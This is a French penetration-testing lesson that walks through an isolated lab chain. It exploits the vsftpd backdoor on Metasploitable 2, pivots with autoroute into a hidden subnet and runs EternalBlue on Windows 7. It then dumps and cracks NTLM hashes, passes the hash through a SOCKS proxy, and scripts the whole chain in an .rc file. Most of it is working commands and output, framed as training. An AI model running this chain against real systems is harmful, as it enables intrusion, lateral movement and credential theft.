Metasploit — Démonstration guidée
Trois scénarios enchaînés. On tombe d'abord vsftpd sur 10.10.10.20, ensuite on pivote vers un réseau interne 192.168.100.0/24, et enfin on compromet une machine qui n'était même pas visible depuis Kali. C'est la démo qu'on veut vous voir refaire en entretien.
Le pivot suppose une VM Metasploitable 2 avec deux interfaces réseau : une côté 10.10.10.0/24 et une côté 192.168.100.0/24. On configurera cela à l'étape 0. Aucun de ces réseaux ne doit pouvoir sortir sur Internet.
Ce que vous saurez faire après cette leçon
- Compromettre
10.10.10.20avec un exploit Metasploit sans lancer d'exploit à la main. - Faire tourner un pivot via
autoroute+socks_proxy. - Scanner et exploiter une machine invisible depuis votre Kali.
- Dumper les hashes NTLM d'une cible Windows en interne.
- Automatiser tout avec un
.rcreproductible.
Étape 0 — Préparer le lab
Sur 10.10.10.20 (Metasploitable 2), ajoutez une seconde interface réseau dans VirtualBox :
- Adapter 1 : Host-only →
hostonly1(10.10.10.0/24). IP :10.10.10.20. - Adapter 2 : Host-only →
hostonly2(192.168.100.0/24). IP :192.168.100.20.
Sur ce même hostonly2, ajoutez une troisième VM — un Windows 7 vulnérable à EternalBlue avec IP 192.168.100.42. Cette VM n'est pas visible depuis Kali — c'est exactement ce qu'on veut.
Sur 10.10.10.20, activez le forwarding IP :
sudo sysctl -w net.ipv4.ip_forward=1
Depuis Kali, nmap 192.168.100.42 doit échouer (Network unreachable). Bien. Objectif atteint : Windows 7 est derrière notre première victime.
Étape 1 — Compromettre 10.10.10.20 avec Metasploit
Reprenez l'attaque vsftpd du module 5 — cette fois via Metasploit.
Créez ~/labs/semaine-08/vsftpd.rc :
workspace metasploit-demo
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run
Lancez :
msfconsole -q -r ~/labs/semaine-08/vsftpd.rc
Sortie :
[+] 10.10.10.20:21 - Backdoor service has been spawned, handling...
[+] 10.10.10.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened
Bien. On est root. Mais on veut du Meterpreter pour le pivot. Upgradons :
sessions -u 1
Metasploit tente une conversion shell → meterpreter via linux/x64/meterpreter/reverse_tcp (nouveau job d'écoute) et un chargement Python/perl côté cible. Après quelques secondes :
[*] Command stager progress: 100.00% (760/760 bytes)
[*] Meterpreter session 2 opened (10.10.10.5:4433 -> 10.10.10.20:...)
Vérifiez :
sessions
Id Type Information Connection
-- ---- ----------- ----------
1 shell cmd/unix 10.10.10.5:37821 -> 10.10.10.20:6200
2 meterpreter x64/linux uid=0, root 10.10.10.5:4433 -> 10.10.10.20:35182
Bascule vers la session Meterpreter :
sessions -i 2
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server ...
Architecture : i686
Meterpreter : x64/linux
Vérification des interfaces :
meterpreter > ifconfig
Deux interfaces. Une sur 10.10.10.0/24, une sur 192.168.100.0/24. C'est notre pivot.
Étape 2 — Ouvrir le pivot avec autoroute
Dans la session Meterpreter :
meterpreter > run autoroute -s 192.168.100.0/24
Sortie :
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[*] Adding a route to 192.168.100.0/255.255.255.0...
[+] Added route to 192.168.100.0/255.255.255.0 via 10.10.10.20
Alternative (recommandée) :
meterpreter > background
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 2
msf6 > set SUBNET 192.168.100.0
msf6 > run
Vérification :
msf6 > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.100.0 255.255.255.0 Session 2
Toute requête Metasploit vers 192.168.100.0/24 passera par la session 2. Le pivot est ouvert.
Étape 3 — Scanner le réseau interne depuis msfconsole
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.100.0/24
msf6 > set PORTS 22,80,135,139,445,3389
msf6 > set THREADS 20
msf6 > run
Sortie (extrait) :
[+] 192.168.100.42: - 192.168.100.42:135 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:139 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:445 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:3389 - TCP OPEN
Une machine trouvée. C'est notre Windows 7.
Test rapide MS17-010 :
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.100.42
msf6 > run
[+] 192.168.100.42:445 - Host is likely VULNERABLE to MS17-010!
Étape 4 — Exploiter EternalBlue à travers le pivot
Piège classique : le payload standard reverse_tcp envoie sa connexion inverse directement à Kali. Mais la cible ne peut pas joindre Kali (pas de route retour). On doit utiliser un payload bind : la cible ouvre un port, on s'y connecte à travers le pivot.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.100.42
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 4455
msf6 > run
Sortie :
[*] Started bind TCP handler against 192.168.100.42:4455
[*] 192.168.100.42:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.100.42:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.168.100.42:445 - Connecting to target for exploitation.
[+] 192.168.100.42:445 - Connection established for exploitation.
[*] 192.168.100.42:445 - Sending final SMBv1 buffers.
[*] Sending stage (200262 bytes) to 192.168.100.42
[*] Meterpreter session 3 opened
Meterpreter session 3. Sur une machine que Kali ne pouvait pas voir. Vérifiez :
sessions -i 3
meterpreter > sysinfo
Computer : WIN7-VICTIM
OS : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
Domain : WORKGROUP
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
SYSTEM sur Windows 7, obtenu depuis Kali, en passant par un Linux compromis. C'est ce qu'on appelle un pivot réussi.
Étape 5 — Extraire les hashes
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
alice:1001:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Sauvegardez :
meterpreter > hashdump > /home/kali/labs/semaine-08/preuves/win7-hashes.txt
Sur Kali, cassons le hash administrateur avec hashcat :
hashcat -m 1000 preuves/win7-hashes.txt /usr/share/wordlists/rockyou.txt --username
Après quelques secondes :
8846f7eaee8fb117ad06bdd830b7586c:password
Le mot de passe administrateur du Windows 7 est password. Compromission totale.
Étape 6 — Un shell externe passant par le pivot (SOCKS)
Vous voulez utiliser des outils qui ne sont pas dans Metasploit — impacket-secretsdump, crackmapexec, votre curl. Ouvrez un proxy SOCKS :
msf6 > use auxiliary/server/socks_proxy
msf6 > set VERSION 5
msf6 > set SRVPORT 1080
msf6 > run -j
Éditez /etc/proxychains4.conf :
socks5 127.0.0.1 1080
Utilisez :
proxychains crackmapexec smb 192.168.100.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c
Sortie :
SMB 192.168.100.42 445 WIN7-VICTIM [*] Windows 7...
SMB 192.168.100.42 445 WIN7-VICTIM [+] WORKGROUP\Administrator (Pwn3d!)
Vous êtes admin, avec un outil non-Metasploit, sur une machine invisible. C'est le pipeline complet d'une intrusion classique.
Étape 7 — Le tout en un .rc
Reproduisez tout dans demo-complete.rc :
workspace metasploit-demo
route flush
# Étape 1 - vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run
# Note : à ce stade, la session 1 est cmd. La commande sessions -u
# n'est pas automatisable proprement dans un .rc — on la fait à la main
# une fois, puis on scripte la suite avec une nouvelle rc.
# Étape 2 - pivot
route add 192.168.100.0/24 2
# Étape 3 - EternalBlue via pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run
# Étape 4 - SOCKS proxy pour outils externes
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j
# Confirmation
sessions
route print
Vous relancerez tout d'un msfconsole -q -r demo-complete.rc après avoir revert les VMs à un snapshot propre.
Étape 8 — Consolider
Ouvrez ~/labs/semaine-08/rapport/pivot.md :
# Attaque avec pivot — Lab semaine 8
## 1. Situation
- Kali : 10.10.10.5
- Cible 1 (Linux, vsftpd) : 10.10.10.20
- Cible 2 (Windows 7, EternalBlue) : 192.168.100.42
- Non joignable depuis Kali (pas de route directe)
## 2. Chaîne d'exploitation
1. RCE vsftpd 2.3.4 → root sur 10.10.10.20
2. Upgrade shell → meterpreter
3. Autoroute 192.168.100.0/24 via session 2
4. Scan de ports sur 192.168.100.42 depuis msfconsole
5. Confirmation MS17-010 (VULNERABLE)
6. Exploit EternalBlue avec payload bind_tcp
7. SYSTEM sur Windows 7
8. hashdump → cassage hashcat → mot de passe admin "password"
## 3. Preuves
- preuves/vsftpd-session.log
- preuves/pivot-autoroute.log
- preuves/scan-192-portscan.log
- preuves/eternalblue-session.log
- preuves/win7-hashes.txt
- preuves/hashcat-cracked.txt
- preuves/socks-proxychains.log
## 4. Recommandations
1. Patcher les systèmes Windows Server 2008 et Windows 7 (fin de support).
2. Segmenter les réseaux : 10.10.10.0/24 ne devrait pas router vers 192.168.100.0/24
sans firewall à état.
3. Désactiver SMBv1 partout.
4. Politique de mot de passe : les hashes vieux comme "password" ne devraient pas exister.
Bilan
En 60 minutes :
- Deux cibles compromises (Linux + Windows 7).
- Un pivot réseau ouvert et scriptable.
- Un proxy SOCKS qui permet d'utiliser tous les outils du monde à travers le pivot.
- Un hash cassé → mot de passe admin en clair.
- Tout scripté dans un
.rcreproductible.
Ce workflow — RCE initiale → upgrade → pivot → SOCKS → propagation — est le squelette de 80 % des missions internes d'un pentest. Vous venez de le voir. Vous allez le refaire en atelier.